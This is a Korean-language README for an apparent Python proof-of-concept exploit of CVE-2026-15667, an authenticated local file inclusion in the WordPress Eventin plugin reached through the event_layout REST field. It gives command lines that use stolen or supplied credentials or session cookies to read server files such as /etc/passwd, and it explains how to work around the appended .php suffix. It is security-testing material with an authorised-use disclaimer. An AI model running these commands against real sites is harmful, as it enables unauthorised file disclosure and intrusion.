
CVE-2026-15667에 대한 Python 개념 증명으로, WordPress Eventin 플러그인의 event_layout REST 필드를 통한 인증된 로컬 파일 포함 취약점입니다.
CVE-2026-15667 WordPress Event Solution LFI POC
Eventin (WordPress 플러그인 wp-event-solution) ≤ 4.1.22 — event_layout REST 필드를 통한 인증된(Contributor+) 로컬 파일 포함 취약점.
허가된 테스트 전용입니다. 소유하지 않았거나 테스트 권한이 없는 시스템에 대해 실행하지 마십시오.
요구 사항: Python 3, 표준 라이브러리만 사용.
python3 cve-2026-15667-eventin-lfi.py -u http://TARGET --test
python3 cve-2026-15667-eventin-lfi.py -u http://TARGET --test --uname USER --password PASS
python3 cve-2026-15667-eventin-lfi.py -u http://TARGET --file /etc/passwd --uname USER --password PASS
python3 cve-2026-15667-eventin-lfi.py -u http://TARGET --file /etc/passwd --session 'wordpress_logged_in_HASH=...'
| 플래그 | 기능 |
|---|
-u / --url | WordPress 사이트 루트 (필수). http:// 또는 https://; 호스트명은 HTTPS를 먼저 시도한 후 HTTP를 시도합니다. 자체 서명 TLS는 자동으로 재시도됩니다. |
--test | 게스트: 플러그인 버전 + REST 라우트. 인증 시: 트래버설을 POST하고 저장되었는지 보고 |
--file PATH | LFI를 통해 PATH를 포함하고 출력을 인쇄. 인증 필요 |
--uname | WordPress 사용자 이름 (Contributor+) |
--password | WordPress 비밀번호 |
--session | 브라우저 Cookie 헤더 (또는 wordpress_logged_in_*=...). /wp-login.php를 건너뜀 |
--uname/--password와 --session은 상호 교환 가능합니다. --file과 --test의 인증된 부분에는 둘 중 하나의 쌍 또는 쿠키가 필요합니다.
자격 증명 없이 --test를 실행하면 인증되지 않은 상태입니다 (readme + /wp-json/eventin/v2/events). 포함 자체는 인증되지 않습니다.
플러그인은 {layout}.php를 포함하므로, --file /etc/passwd는 /etc/passwd.php를 요청합니다. .php 경로를 전달하거나, .php가 추가된 후에도 존재하는 경로를 전달하십시오.
Stdout: VERSION, ROUTE, PRESENT, NEED_AUTH, VULNERABLE, NOT_VULNERABLE, AUTH_FAILED, 파일 내용.
CVE: CVE-2026-15667. Wordfence PRISM에 의해 보고됨.